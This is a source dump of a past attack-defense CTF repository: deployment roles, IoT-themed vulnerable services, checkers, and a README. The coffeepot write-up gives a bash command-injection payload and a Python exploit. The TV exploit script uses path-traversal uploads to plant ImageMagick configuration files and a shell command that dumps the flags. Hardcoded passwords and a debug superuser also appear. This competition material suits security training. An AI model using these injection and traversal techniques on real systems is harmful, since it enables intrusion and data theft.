4 | 5 | 6 | 7 | 8 | ]> 9 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /vuln_image/roles/doorlock_service/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Ensures /home/ctf/doorlock dir exists 4 | file: path=/home/ctf/doorlock state=directory 5 | 6 | - name: Copy doorlock service from host 7 | copy: 8 | src: ../services/doorlock/docker-compose.yml 9 | dest: /home/ctf/doorlock/docker-compose.yml 10 | owner: ctf 11 | group: ctf 12 | 13 | - shell: docker images 14 | register: docker_images 15 | changed_when: false 16 | 17 | - name: Copy doorlock service docker images 18 | copy: 19 | src: ../../docker_images/doorlock.tgz 20 | dest: /tmp/doorlock.tgz 21 | when: docker_images.stdout.find('doorlock') == -1 22 | 23 | - name: Unzip doorlock service docker images 24 | command: gunzip /tmp/doorlock.tgz creates=/tmp/doorlock.tar 25 | when: docker_images.stdout.find('doorlock') == -1 26 | 27 | - name: Install docker-py 28 | pip: 29 | name: docker-py 30 | 31 | - name: Load doorlock service docker image 32 | docker_image: 33 | name: doorlock 34 | load_path: /tmp/doorlock.tar 35 | when: docker_images.stdout.find('doorlock') == -1 36 | 37 | - name: Remove docker images archive files 38 | file: 39 | path: "/tmp/doorlock.t*" 40 | state: absent 41 | 42 | - name: Copy systemd script 43 | copy: 44 | src: files/doorlock.service 45 | dest: /etc/systemd/system 46 | 47 | - name: Enable doorlock service 48 | systemd: 49 | name: doorlock 50 | enabled: yes 51 | state: started 52 | daemon_reload: yes 53 | -------------------------------------------------------------------------------- /services/doorlock/include/coap/coap.h: -------------------------------------------------------------------------------- 1 | /* 2 | * coap.h -- main header file for CoAP stack of libcoap 3 | * 4 | * Copyright (C) 2010-2012,2015-2016 Olaf Bergmann 5 | * 2015 Carsten Schoenert 6 | * 7 | * This file is part of the CoAP library libcoap. Please see README for terms 8 | * of use. 9 | */ 10 | 11 | #ifndef _COAP_H_ 12 | #define _COAP_H_ 13 | 14 | #include "libcoap.h" 15 | 16 | /* Define the address where bug reports for libcoap should be sent. */ 17 | #define LIBCOAP_PACKAGE_BUGREPORT libcoap-developers@lists.sourceforge.net 18 | 19 | /* Define the full name of libcoap. */ 20 | #define LIBCOAP_PACKAGE_NAME libcoap 21 | 22 | /* Define the full name and version of libcoap. */ 23 | #define LIBCOAP_PACKAGE_STRING libcoap 4.1.2 24 | 25 | /* Define the home page for libcoap. */ 26 | #define LIBCOAP_PACKAGE_URL https://libcoap.net/ 27 | 28 | /* Define the version of libcoap this file belongs to. */ 29 | #define LIBCOAP_PACKAGE_VERSION 4.1.2 30 | 31 | #ifdef __cplusplus 32 | extern "C" { 33 | #endif 34 | 35 | #include "address.h" 36 | #include "async.h" 37 | #include "bits.h" 38 | #include "block.h" 39 | #include "coap_io.h" 40 | #include "coap_time.h" 41 | #include "debug.h" 42 | #include "encode.h" 43 | #include "mem.h" 44 | #include "net.h" 45 | #include "option.h" 46 | #include "pdu.h" 47 | #include "prng.h" 48 | #include "resource.h" 49 | #include "str.h" 50 | #include "subscribe.h" 51 | #include "uri.h" 52 | #include "uthash.h" 53 | #include "utlist.h" 54 | 55 | #ifdef __cplusplus 56 | } 57 | #endif 58 | 59 | #endif /* _COAP_H_ */ 60 | -------------------------------------------------------------------------------- /services/doorlock/include/coap/coap.h.in: -------------------------------------------------------------------------------- 1 | /* 2 | * coap.h -- main header file for CoAP stack of libcoap 3 | * 4 | * Copyright (C) 2010-2012,2015-2016 Olaf Bergmann 5 | * 2015 Carsten Schoenert 6 | * 7 | * This file is part of the CoAP library libcoap. Please see README for terms 8 | * of use. 9 | */ 10 | 11 | #ifndef _COAP_H_ 12 | #define _COAP_H_ 13 | 14 | #include "libcoap.h" 15 | 16 | /* Define the address where bug reports for libcoap should be sent. */ 17 | #define LIBCOAP_PACKAGE_BUGREPORT @PACKAGE_BUGREPORT@ 18 | 19 | /* Define the full name of libcoap. */ 20 | #define LIBCOAP_PACKAGE_NAME @PACKAGE_NAME@ 21 | 22 | /* Define the full name and version of libcoap. */ 23 | #define LIBCOAP_PACKAGE_STRING @PACKAGE_STRING@ 24 | 25 | /* Define the home page for libcoap. */ 26 | #define LIBCOAP_PACKAGE_URL @PACKAGE_URL@ 27 | 28 | /* Define the version of libcoap this file belongs to. */ 29 | #define LIBCOAP_PACKAGE_VERSION @PACKAGE_VERSION@ 30 | 31 | #ifdef __cplusplus 32 | extern "C" { 33 | #endif 34 | 35 | #include "address.h" 36 | #include "async.h" 37 | #include "bits.h" 38 | #include "block.h" 39 | #include "coap_io.h" 40 | #include "coap_time.h" 41 | #include "debug.h" 42 | #include "encode.h" 43 | #include "mem.h" 44 | #include "net.h" 45 | #include "option.h" 46 | #include "pdu.h" 47 | #include "prng.h" 48 | #include "resource.h" 49 | #include "str.h" 50 | #include "subscribe.h" 51 | #include "uri.h" 52 | #include "uthash.h" 53 | #include "utlist.h" 54 | 55 | #ifdef __cplusplus 56 | } 57 | #endif 58 | 59 | #endif /* _COAP_H_ */ 60 | -------------------------------------------------------------------------------- /services/thermometer/mqtt-db/init-db.sql: -------------------------------------------------------------------------------- 1 | CREATE DATABASE IF NOT EXISTS mqtt; 2 | 3 | USE mqtt; 4 | 5 | CREATE USER IF NOT EXISTS 'mqtt_broker'@'%' IDENTIFIED BY 'UFRzFk2Lw5dd9h4u'; 6 | CREATE USER IF NOT EXISTS 'thermometer_module'@'%' IDENTIFIED BY '4VS6yKnPF9eLoZkB'; 7 | 8 | CREATE TABLE IF NOT EXISTS users ( 9 | id INTEGER AUTO_INCREMENT, 10 | username VARCHAR(100) NOT NULL, 11 | pw VARCHAR(128) NOT NULL, 12 | super INT(1) NOT NULL DEFAULT 0, 13 | PRIMARY KEY (id) 14 | ); 15 | 16 | CREATE UNIQUE INDEX IF NOT EXISTS users_username ON users (username); 17 | 18 | CREATE TABLE IF NOT EXISTS acls ( 19 | id INTEGER AUTO_INCREMENT, 20 | username VARCHAR(100) NOT NULL, 21 | topic VARCHAR(256) NOT NULL, 22 | rw INT(1) NOT NULL DEFAULT 1, 23 | PRIMARY KEY (id) 24 | ); 25 | 26 | CREATE UNIQUE INDEX IF NOT EXISTS acls_user_topic ON acls (username, topic(228)); 27 | 28 | GRANT SELECT ON mqtt.users TO 'mqtt_broker'@'%' WITH GRANT OPTION; 29 | GRANT SELECT ON mqtt.acls TO 'mqtt_broker'@'%' WITH GRANT OPTION; 30 | 31 | GRANT SELECT,INSERT,UPDATE ON mqtt.users TO 'thermometer_module'@'%' WITH GRANT OPTION; 32 | GRANT INSERT,UPDATE ON mqtt.acls TO 'thermometer_module'@'%' WITH GRANT OPTION; 33 | FLUSH PRIVILEGES; 34 | 35 | INSERT INTO acls (username, topic, rw) VALUES ('anonymous', 'house/authorization', 2); 36 | INSERT INTO acls (username, topic, rw) VALUES ('anonymous', 'house/authorization/%c', 1); 37 | INSERT INTO acls (username, topic, rw) VALUES ('temperature-module', 'house/authorization', 1); 38 | INSERT INTO acls (username, topic, rw) VALUES ('temperature-module', 'house/authorization/#', 2); 39 | -------------------------------------------------------------------------------- /checkers/fridge/checklib/random.py: -------------------------------------------------------------------------------- 1 | import os.path 2 | import random 3 | import checklib.utils 4 | import json 5 | 6 | 7 | def string(chars, count, first_uppercase=False): 8 | if type(count) is not int: 9 | count = random.choice(count) 10 | 11 | if count < 0: 12 | raise Exception('Can\'t generate string with %d chars' % count) 13 | 14 | result = ''.join([random.choice(chars) for _ in range(count)]) 15 | 16 | if first_uppercase and len(result) > 0: 17 | result = result[0].upper() + result[1:] 18 | 19 | return result 20 | 21 | 22 | def integer(variants): 23 | return random.choice(variants) 24 | 25 | 26 | def from_collection(name, json_encoded=False): 27 | try_files = [ 28 | os.path.join(checklib.utils.checker_location(), 'collections.data', 29 | name), 30 | os.path.join(checklib.utils.checklib_location(), 'collections.data', 31 | name), 32 | ] 33 | for filename in try_files: 34 | if os.path.exists(filename): 35 | with open(filename, 'r', encoding='utf-8') as f: 36 | collection = f.readlines() 37 | break 38 | else: 39 | raise ValueError('Can\'t find collection %s' % (name,)) 40 | 41 | collection = [s.rstrip() for s in collection] 42 | if json_encoded: 43 | collection = [json.loads(s) for s in collection] 44 | return random.choice(collection) 45 | 46 | 47 | def firstname(): 48 | return from_collection('firstname') 49 | 50 | 51 | def lastname(): 52 | return from_collection('lastname') 53 | 54 | 55 | def useragent(): 56 | return from_collection('useragent') 57 | -------------------------------------------------------------------------------- /writeups/coffeepot.md: -------------------------------------------------------------------------------- 1 | Service info 2 | ------------ 3 | 4 | The coffeepot service implements Hyper Text Coffee Pot Control Protocol, which described in RFC 2324, published in 1 april 1998. 5 | 6 | It allows to start and stop coffee brewing and add some ingridients to the drink, such as rum, almond, milk, whiskey or flags. 7 | 8 | The service is a tiny CGI-script, written in bash. A patched web-server called Mongoose listens port 3255 and launches the script. 9 | 10 | ![Screenshot](coffeepot.png) 11 | 12 | Bugs 13 | ---- 14 | 15 | As readme states, there is no known bugs in the web-server. 16 | 17 | The main and only known bug is in this line of CGI-script: 18 | 19 | echo "${addition}:$((count+1))" >> "pots/${pot}.new" 20 | 21 | The **$((count+1))** looks harmless, but it is not. 22 | 23 | Expoitation 24 | ----------- 25 | 26 | To exploit the bug, the attacker could send this value as initial ingridient count: 27 | 28 | a[$(cat pots/* |grep Flag > pots/pot-1234)] 29 | 30 | Then, the attacker asks the service to add one more ingridient and the command is executed. 31 | 32 | The exploit: 33 | 34 | import sys 35 | import random 36 | import requests 37 | 38 | PAYLOAD = "Rum:a[$(cat pots/* |grep Flag > pots/pot-1234)]" 39 | 40 | host = sys.argv[1] 41 | pot = random.randrange(10**10, 10**20) 42 | uri_1 = "http://%s:3255/pot-%s" % (host, pot) 43 | 44 | requests.post(uri_1, headers={"Accept-Additions": PAYLOAD}) 45 | requests.put(uri_1, headers={"Addition": "Rum"}) 46 | 47 | uri_2 = "http://%s:3255/pot-%s" % (host,1234) 48 | resp = requests.request("PROPFIND", uri_2) 49 | print(resp.text)` 50 | -------------------------------------------------------------------------------- /services/fridge/config/django.start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | ##### 4 | # Postgres: wait until container is created 5 | ##### 6 | 7 | set +e 8 | echo "[+] Checking is postgres container started" 9 | python3 /db.check.py 10 | while [[ $? != 0 ]] ; do 11 | sleep 5; echo "[*] Waiting for postgres container..." 12 | python3 /db.check.py 13 | done 14 | set -e 15 | 16 | ##### 17 | # Django setup 18 | ##### 19 | 20 | # Django: migrate 21 | # 22 | # Django will see that the tables for the initial migrations already exist 23 | # and mark them as applied without running them. (Django won’t check that the 24 | # table schema match your models, just that the right table names exist). 25 | echo "[+] Django setup, executing: migrate" 26 | python3 /srv/manage.py migrate --fake-initial 27 | 28 | echo "[+] Django setup, executing: createcachetable" 29 | python3 /srv/manage.py createcachetable 30 | 31 | # DON'T RUN IT IN PRODUCTION. SOME EVIL GUYS CAN BRUTEFORCE PASSWORD AND WHO KNOW WHAT HAPPENS... 32 | echo "[+] [DEBUG] Django setup, executing: add superuser" 33 | PGPASSWORD=${POSTGRES_PASSWORD} psql -U ${POSTGRES_USER} -h ${POSTGRES_HOST} -c "INSERT INTO auth_user (password, last_login, is_superuser, username, first_name, last_name, email, is_staff, is_active, date_joined) VALUES ('pbkdf2_sha256\$36000\$k36V24q60mNo\$v5og9qcgc2sqkVwGjZDKNK+wcJy60ix8DIt9E8Yg48c=', '1970-01-01 00:00:00.000000', true, 'admin', 'admin', 'admin', 'admin@admin', true, true, '1970-01-01 00:00:00.000000') ON CONFLICT (username) DO NOTHING" 34 | 35 | # Django: collectstatic 36 | # 37 | echo "[+] Django setup, executing: collectstatic" 38 | python3 /srv/manage.py collectstatic --noinput -v 3 39 | 40 | ##### 41 | # Start uWSGI 42 | ##### 43 | echo "[+] Starting uWSGI..." 44 | uwsgi --emperor /etc/uwsgi/fridge.ini -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PHDays CTF 2017 2 | 3 | PHDays CTF2017 is an online international challenge in the information security. Developed by Hackerdom team for [PHDays VII](https://phdays.com) forum. 4 | 5 | The contest is driven by classic rules (Attack-Defense [CTF](https://en.wikipedia.org/wiki/Capture_the_flag#Computer_security)) 6 | Each team is given a set of vulnerable services. 7 | Organizers regulary fill services with private information — the flags. 8 | The goal of each team is to find vulnerabilities, fix them in their services and exploit them in order to get flags from other teams. 9 | 10 | PHDays CTF 2017 was held on May 12, 2017. 11 | 12 | This repository contains: 13 | 14 | * source of all services in folder [services/](https://github.com/HackerDom/phdctf-2017/tree/master/services/) 15 | * checkers for [checksystem](https://github.com/Hackerdom/checksystem) in folder [checkers/](checkers/) 16 | * exploits for all services in folder [sploits/](https://github.com/HackerDom/phdctf-2017/tree/master/sploits/) 17 | * writeups with vulnerabilities and exploitation description for all services in folder [writeups/](https://github.com/HackerDom/phdctf-2017/tree/master/writeups/) 18 | 19 | This CTF is bring to you by these amazing guys: 20 | 21 | * Alexander Bersenev aka bay, author of service `coffeepot` and network master 22 | * Andrew Gein aka andgein, author of service `fridge` 23 | * Andrew Hozov aka and, author of service `tv` and checksystem master 24 | * Artem Zinenko aka art, author of service `thermometer` and our teamleader 25 | * Dmitry Simonov aka dimmo, author of service `doorlock` 26 | * Viktor Dvoretsky aka dqkrait, author of service `doorlock` 27 | 28 | If you have any question write us to email info@hackerdom.ru 29 | 30 | © 2017 [HackerDom](http://hackerdom.ru) 31 | -------------------------------------------------------------------------------- /sploits/tv/tv.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl -wl 2 | 3 | use Mojo::UserAgent; 4 | 5 | my $ua = Mojo::UserAgent->new; 6 | my $ip = shift // '127.0.0.1'; 7 | my $url = "http://$ip:8080"; 8 | 9 | $ua->post("$url/create"); 10 | 11 | my ($cookie) = grep { $_->name eq 'user' } @{ $ua->cookie_jar->all }; 12 | my $user = $cookie->value; 13 | 14 | $ua->post( 15 | "$url/upload" => form => { 16 | image => { 17 | content => '', 18 | filename => '../im/test.png/../delegates.xml', 19 | 'Content-Type' => 'image/png' 20 | } 21 | } 22 | ); 23 | $ua->post( 24 | "$url/upload" => form => { 25 | image => { 26 | content => '', 27 | filename => '../im/test.png/../policy.xml', 28 | 'Content-Type' => 'image/png' 29 | } 30 | } 31 | ); 32 | 33 | my $script = <<"END"; 34 | find static/ -name '*.png' -type f -exec identify -verbose {} \\; | grep comment > static/$user/flags.txt 35 | END 36 | 37 | $ua->post( 38 | "$url/upload" => form => { 39 | image => { 40 | content => $script, 41 | filename => 'test.png/../script.sh', 42 | 'Content-Type' => 'image/png' 43 | } 44 | } 45 | ); 46 | 47 | my $sploit = <post( 55 | "$url/upload" => form => { 56 | info => 'comment', 57 | image => { 58 | content => $sploit, 59 | filename => 'image.png', 60 | 'Content-Type' => 'image/png' 61 | } 62 | } 63 | ); 64 | 65 | sleep 1; 66 | my $res = $ua->get("$url/static/$user/flags.txt")->result; 67 | print $res->body; 68 | -------------------------------------------------------------------------------- /services/doorlock/include/coap/hashkey.h: -------------------------------------------------------------------------------- 1 | /* 2 | * hashkey.h -- definition of hash key type and helper functions 3 | * 4 | * Copyright (C) 2010-2011 Olaf Bergmann 5 | * 6 | * This file is part of the CoAP library libcoap. Please see README for terms 7 | * of use. 8 | */ 9 | 10 | /** 11 | * @file hashkey.h 12 | * @brief definition of hash key type and helper functions 13 | */ 14 | 15 | #ifndef _COAP_HASHKEY_H_ 16 | #define _COAP_HASHKEY_H_ 17 | 18 | #include "str.h" 19 | 20 | typedef unsigned char coap_key_t[4]; 21 | 22 | #ifndef coap_hash 23 | /** 24 | * Calculates a fast hash over the given string @p s of length @p len and stores 25 | * the result into @p h. Depending on the exact implementation, this function 26 | * cannot be used as one-way function to check message integrity or simlar. 27 | * 28 | * @param s The string used for hash calculation. 29 | * @param len The length of @p s. 30 | * @param h The result buffer to store the calculated hash key. 31 | */ 32 | void coap_hash_impl(const unsigned char *s, unsigned int len, coap_key_t h); 33 | 34 | #define coap_hash(String,Length,Result) \ 35 | coap_hash_impl((String),(Length),(Result)) 36 | 37 | /* This is used to control the pre-set hash-keys for resources. */ 38 | #define __COAP_DEFAULT_HASH 39 | #else 40 | #undef __COAP_DEFAULT_HASH 41 | #endif /* coap_hash */ 42 | 43 | /** 44 | * Calls coap_hash() with given @c str object as parameter. 45 | * 46 | * @param Str Must contain a pointer to a coap string object. 47 | * @param H A coap_key_t object to store the result. 48 | * 49 | * @hideinitializer 50 | */ 51 | #define coap_str_hash(Str,H) { \ 52 | assert(Str); \ 53 | memset((H), 0, sizeof(coap_key_t)); \ 54 | coap_hash((Str)->s, (Str)->length, (H)); \ 55 | } 56 | 57 | #endif /* _COAP_HASHKEY_H_ */ 58 | -------------------------------------------------------------------------------- /services/tv/templates/index.tmpl: -------------------------------------------------------------------------------- 1 | 2 | 3 | TV 4 | 5 | 6 | 7 |
8 |
9 | {{if .User}} 10 | {{.User.Value }} (Logout) 11 | {{else}} 12 |
13 | 14 |
15 |
16 | 17 | 18 | 19 |
20 | {{end}} 21 |
22 |

Hi, I'm TV!

23 | {{if .Flash}} 24 |

{{.Flash.Value}}

25 | {{end}} 26 | {{if .User}} 27 |

Upload new photo

28 |
29 | Comment: 30 | 31 | 32 |
33 |
34 |

Latest photos

35 | {{$u := .User.Value}} 36 | {{range $i := .Images}} 37 | 38 | {{end}} 39 | {{else}} 40 | You can create account or login to upload and watch your photos on TV. 41 | {{end}} 42 |
43 | 44 | 45 | -------------------------------------------------------------------------------- /checkers/doorlock/doorlock.stress.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import logging 5 | import asyncio 6 | import string 7 | import random 8 | import datetime 9 | from doorlockclient import DoorlockClient 10 | 11 | logging.basicConfig( 12 | level=logging.INFO, 13 | format='%(asctime)-15s|%(levelname)-5s|%(message)s', 14 | filename='doorlock.stress.log' 15 | ) 16 | 17 | COUNT_OK, COUNT_ERR = 0, 0 18 | 19 | def random_str(size, chars): 20 | return ''.join(random.choice(chars) for _ in range(size)) 21 | 22 | async def make_task(host): 23 | global COUNT_OK, COUNT_ERR 24 | client = DoorlockClient(host) 25 | 26 | model = random_str(4, string.ascii_uppercase) 27 | floor = random_str(1, "123456789") 28 | room = floor + random_str(3, string.digits) 29 | code, lock = await client.register_lock(model, floor, room) 30 | 31 | card = random_str(1, "123456789") 32 | tag = random_str(32, string.ascii_uppercase) 33 | await client.add_card(lock, card, tag) 34 | 35 | code, tag_check = await client.get_card(lock, card) 36 | if tag == tag_check: 37 | COUNT_OK += 1 38 | else: 39 | COUNT_ERR += 1 40 | logging.getLogger().error("Expected '%s', but got '%s'", tag, tag_check) 41 | 42 | if len(sys.argv) != 3: 43 | print('Usage: %s HOST COUNT' % sys.argv[0]) 44 | sys.exit(-1) 45 | 46 | host, count = sys.argv[1], int(sys.argv[2]) 47 | 48 | loop = asyncio.get_event_loop() 49 | 50 | t_start = datetime.datetime.now() 51 | tasks = [make_task(host) for i in range(count)] 52 | 53 | loop.run_until_complete(asyncio.wait(tasks)) 54 | 55 | req_per_count = 3 56 | diff = datetime.datetime.now() - t_start; 57 | sec = diff.seconds + diff.microseconds/1e6 58 | log_str = '%d RPS (%d req in %f sec)' % (req_per_count*count/sec, req_per_count*count, sec) 59 | logging.getLogger().info(log_str) 60 | logging.getLogger().info('OK: %d, ERR: %d', COUNT_OK, COUNT_ERR) 61 | 62 | loop.close() 63 | -------------------------------------------------------------------------------- /vuln_image/roles/thermometer_service/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Ensures /home/ctf/thermometer dir exists 4 | file: path=/home/ctf/thermometer state=directory 5 | 6 | - name: Copy thermometer service from host 7 | copy: 8 | src: ../services/thermometer/docker-compose.yml 9 | dest: /home/ctf/thermometer/docker-compose.yml 10 | owner: ctf 11 | group: ctf 12 | 13 | - shell: docker images 14 | register: docker_images 15 | changed_when: false 16 | 17 | - name: Copy thermometer service docker images 18 | copy: 19 | src: '../../docker_images/{{ item }}.tgz' 20 | dest: '/tmp/{{ item }}.tgz' 21 | when: docker_images.stdout.find('thermometer/{{ item }}') == -1 22 | with_items: 23 | - mqtt-db 24 | - mqtt-broker 25 | - module 26 | - sensor 27 | 28 | - name: Unzip thermometer service docker images 29 | command: gunzip /tmp/{{ item }}.tgz creates=/tmp/{{ item }}.tar 30 | when: docker_images.stdout.find('{{ item }}') == -1 31 | with_items: 32 | - mqtt-db 33 | - mqtt-broker 34 | - module 35 | - sensor 36 | 37 | - name: Install docker-py 38 | pip: 39 | name: docker-py 40 | 41 | - name: Load thermometer service docker image 42 | docker_image: 43 | name: 'thermometer/{{item}}' 44 | load_path: '/tmp/{{ item }}.tar' 45 | when: docker_images.stdout.find('{{ item }}') == -1 46 | with_items: 47 | - mqtt-db 48 | - mqtt-broker 49 | - module 50 | - sensor 51 | 52 | - name: Remove docker images archive files 53 | file: 54 | path: "/tmp/{{ item }}.t*" 55 | state: absent 56 | with_items: 57 | - mqtt-db 58 | - mqtt-broker 59 | - module 60 | - sensor 61 | 62 | - name: Copy systemd script 63 | copy: 64 | src: files/thermometer.service 65 | dest: /etc/systemd/system 66 | 67 | - name: Enable thermometer service 68 | systemd: 69 | name: thermometer 70 | enabled: yes 71 | state: started 72 | daemon_reload: yes 73 | -------------------------------------------------------------------------------- /services/doorlock/include/coap/lwippools.h: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CoAP library libcoap. Please see README for terms 3 | * of use. 4 | */ 5 | 6 | /** Memory pool definitions for the libcoap when used with lwIP (which has its 7 | * own mechanism for quickly allocating chunks of data with known sizes). Has 8 | * to be findable by lwIP (ie. an #include must either directly 9 | * include this or include something more generic which includes this), and 10 | * MEMP_USE_CUSTOM_POOLS has to be set in lwipopts.h. */ 11 | 12 | #include "coap_config.h" 13 | #include 14 | #include 15 | #include 16 | 17 | #ifndef MEMP_NUM_COAPCONTEXT 18 | #define MEMP_NUM_COAPCONTEXT 1 19 | #endif 20 | 21 | #ifndef MEMP_NUM_COAPENDPOINT 22 | #define MEMP_NUM_COAPENDPOINT 1 23 | #endif 24 | 25 | /* 1 is sufficient as this is very short-lived */ 26 | #ifndef MEMP_NUM_COAPPACKET 27 | #define MEMP_NUM_COAPPACKET 1 28 | #endif 29 | 30 | #ifndef MEMP_NUM_COAPNODE 31 | #define MEMP_NUM_COAPNODE 4 32 | #endif 33 | 34 | #ifndef MEMP_NUM_COAPPDU 35 | #define MEMP_NUM_COAPPDU MEMP_NUM_COAPNODE 36 | #endif 37 | 38 | #ifndef MEMP_NUM_COAP_SUBSCRIPTION 39 | #define MEMP_NUM_COAP_SUBSCRIPTION 4 40 | #endif 41 | 42 | #ifndef MEMP_NUM_COAPRESOURCE 43 | #define MEMP_NUM_COAPRESOURCE 10 44 | #endif 45 | 46 | #ifndef MEMP_NUM_COAPRESOURCEATTR 47 | #define MEMP_NUM_COAPRESOURCEATTR 20 48 | #endif 49 | 50 | LWIP_MEMPOOL(COAP_CONTEXT, MEMP_NUM_COAPCONTEXT, sizeof(coap_context_t), "COAP_CONTEXT") 51 | LWIP_MEMPOOL(COAP_ENDPOINT, MEMP_NUM_COAPENDPOINT, sizeof(coap_endpoint_t), "COAP_ENDPOINT") 52 | LWIP_MEMPOOL(COAP_PACKET, MEMP_NUM_COAPPACKET, sizeof(coap_packet_t), "COAP_PACKET") 53 | LWIP_MEMPOOL(COAP_NODE, MEMP_NUM_COAPNODE, sizeof(coap_queue_t), "COAP_NODE") 54 | LWIP_MEMPOOL(COAP_PDU, MEMP_NUM_COAPPDU, sizeof(coap_pdu_t), "COAP_PDU") 55 | LWIP_MEMPOOL(COAP_subscription, MEMP_NUM_COAP_SUBSCRIPTION, sizeof(coap_subscription_t), "COAP_subscription") 56 | LWIP_MEMPOOL(COAP_RESOURCE, MEMP_NUM_COAPRESOURCE, sizeof(coap_resource_t), "COAP_RESOURCE") 57 | LWIP_MEMPOOL(COAP_RESOURCEATTR, MEMP_NUM_COAPRESOURCEATTR, sizeof(coap_attr_t), "COAP_RESOURCEATTR") 58 | -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/templates/refrigerator/refrigerator.html: -------------------------------------------------------------------------------- 1 | {% extends 'layout.html' %} 2 | 3 | {% load dict %} 4 | {% load bootstrap %} 5 | 6 | {% block content %} 7 |
8 |
9 |

10 | {{ refrigerator.title|truncatechars:40 }} 11 |

12 |

13 | {{ refrigerator.description|linebreaksbr }} 14 |

15 | 16 | {% for food_item in refrigerator.items.all %} 17 |
18 | {{ forloop.counter }}. {{ food_item.food_type }} ({{ food_item.count }} {{ Unit.values|get_item:food_item.food_type.unit|lower }}) 19 |
20 | {% endfor %} 21 | 22 |
23 | 24 | 25 |
26 |
27 | 28 | 49 | {% endblock %} -------------------------------------------------------------------------------- /checkers/doorlock/doorlockclient.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import logging 4 | import asyncio 5 | import datetime 6 | import aiocoap 7 | 8 | class DoorlockClient: 9 | def __init__(self, host): 10 | self._log = logging.getLogger() 11 | self._base_url = 'coap://%s/' % host 12 | 13 | def _build_uri(self, method, args): 14 | uri = self._base_url + method 15 | if args: 16 | uri += '?' 17 | separator = '' 18 | for key, val in args.items(): 19 | uri += separator + key + '=' + str(val) 20 | separator = '&' 21 | return uri 22 | 23 | async def _send(self, code, method, args): 24 | protocol = await aiocoap.Context.create_client_context() 25 | uri = self._build_uri(method, args) 26 | request = aiocoap.Message(code=code, uri=uri) 27 | self._log.info('--> %s', uri) 28 | try: 29 | t_start = datetime.datetime.now() 30 | response = await protocol.request(request).response 31 | except Exception as e: 32 | diff = datetime.datetime.now() - t_start; 33 | t_diff = diff.seconds*1000 + diff.microseconds/1000 34 | self._log.error('Exception: %s in %d ms', e, t_diff) 35 | return None, None 36 | else: 37 | diff = datetime.datetime.now() - t_start; 38 | t_diff = diff.seconds*1000 + diff.microseconds/1000 39 | self._log.info('<-- [%s] %r in %d ms', response.code, response.payload, t_diff) 40 | return response.code, response.payload.decode('ascii') 41 | 42 | async def register_lock(self, model, floor, room): 43 | return await self._send(aiocoap.POST, 'register_lock', {'model': model, 'floor': floor, 'room': room}) 44 | 45 | async def add_card(self, lock, card, tag): 46 | return await self._send(aiocoap.POST, 'add_card', {'lock': lock, 'card': card, 'tag': tag}) 47 | 48 | async def get_card(self, lock, card): 49 | return await self._send(aiocoap.GET, 'get_card', {'lock': lock, 'card': card}) 50 | 51 | async def index(self): 52 | return await self._send(aiocoap.GET, '', {}) 53 | -------------------------------------------------------------------------------- /services/doorlock/include/coap/encode.h: -------------------------------------------------------------------------------- 1 | /* 2 | * encode.h -- encoding and decoding of CoAP data types 3 | * 4 | * Copyright (C) 2010-2012 Olaf Bergmann 5 | * 6 | * This file is part of the CoAP library libcoap. Please see README for terms 7 | * of use. 8 | */ 9 | 10 | #ifndef _COAP_ENCODE_H_ 11 | #define _COAP_ENCODE_H_ 12 | 13 | #if (BSD >= 199103) || defined(WITH_CONTIKI) 14 | # include 15 | #else 16 | # include 17 | #endif 18 | 19 | #define Nn 8 /* duplicate definition of N if built on sky motes */ 20 | #define ENCODE_HEADER_SIZE 4 21 | #define HIBIT (1 << (Nn - 1)) 22 | #define EMASK ((1 << ENCODE_HEADER_SIZE) - 1) 23 | #define MMASK ((1 << Nn) - 1 - EMASK) 24 | #define MAX_VALUE ( (1 << Nn) - (1 << ENCODE_HEADER_SIZE) ) * (1 << ((1 << ENCODE_HEADER_SIZE) - 1)) 25 | 26 | #define COAP_PSEUDOFP_DECODE_8_4(r) (r < HIBIT ? r : (r & MMASK) << (r & EMASK)) 27 | 28 | #ifndef HAVE_FLS 29 | /* include this only if fls() is not available */ 30 | extern int coap_fls(unsigned int i); 31 | #else 32 | #define coap_fls(i) fls(i) 33 | #endif 34 | 35 | #ifndef HAVE_FLSLL 36 | /* include this only if flsll() is not available */ 37 | extern int coap_flsll(long long i); 38 | #else 39 | #define coap_flsll(i) flsll(i) 40 | #endif 41 | 42 | /* ls and s must be integer variables */ 43 | #define COAP_PSEUDOFP_ENCODE_8_4_DOWN(v,ls) (v < HIBIT ? v : (ls = coap_fls(v) - Nn, (v >> ls) & MMASK) + ls) 44 | #define COAP_PSEUDOFP_ENCODE_8_4_UP(v,ls,s) (v < HIBIT ? v : (ls = coap_fls(v) - Nn, (s = (((v + ((1<> ls) & MMASK)), s == 0 ? HIBIT + ls + 1 : s + ls)) 45 | 46 | /** 47 | * Decodes multiple-length byte sequences. buf points to an input byte sequence 48 | * of length len. Returns the decoded value. 49 | */ 50 | unsigned int coap_decode_var_bytes(unsigned char *buf,unsigned int len); 51 | 52 | /** 53 | * Encodes multiple-length byte sequences. buf points to an output buffer of 54 | * sufficient length to store the encoded bytes. val is the value to encode. 55 | * Returns the number of bytes used to encode val or 0 on error. 56 | */ 57 | unsigned int coap_encode_var_bytes(unsigned char *buf, unsigned int val); 58 | 59 | #endif /* _COAP_ENCODE_H_ */ 60 | -------------------------------------------------------------------------------- /services/fridge/web/dumper/middleware.py: -------------------------------------------------------------------------------- 1 | import os.path 2 | import shutil 3 | import random 4 | import time 5 | 6 | from django.core.cache import cache 7 | from django.utils import timezone 8 | from django.conf import settings 9 | from django.contrib.auth.models import User 10 | 11 | from . import dump_model_to_file 12 | from refrigerator import models 13 | 14 | 15 | DUMPED_MODELS = [models.Refrigerator, 16 | models.FoodType, 17 | models.FoodItem, 18 | models.Recipe, 19 | models.RecipeItem, 20 | User, 21 | ] 22 | 23 | 24 | class DumperMiddleware: 25 | def __init__(self, get_response): 26 | self.get_response = get_response 27 | 28 | def __call__(self, request): 29 | 